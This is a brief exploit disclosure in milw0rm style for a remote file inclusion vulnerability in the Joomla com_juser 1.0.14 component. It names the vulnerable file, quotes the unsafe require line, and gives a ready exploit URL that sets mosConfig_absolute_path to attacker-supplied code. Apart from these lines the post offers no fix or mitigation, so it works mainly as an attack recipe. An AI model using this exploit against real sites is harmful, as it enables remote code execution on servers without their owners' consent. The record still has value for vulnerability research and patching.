JUser Joomla Component 1.0.14 - RFI

[o] JUser Joomla Component 1.0.14 Remote File Include Vulnerability
Software : com_juser version 1.0.14 - paid component
Vendor   : www.joomlaequipment.com
Author   : NoGe


[o] Vulnerable file
administrator/components/com_juser/xajax_functions.php
require ($mosConfig_absolute_path.'/administrator/components/com_juser/xajax/xajax_core/xajax.inc.php');


[o] Exploit
http://localhost/path/administrator/components/com_juser/xajax_functions.php?mosConfig_absolute_path=[evilcode]


[o] Publish
http://milw0rm.com/exploits/4636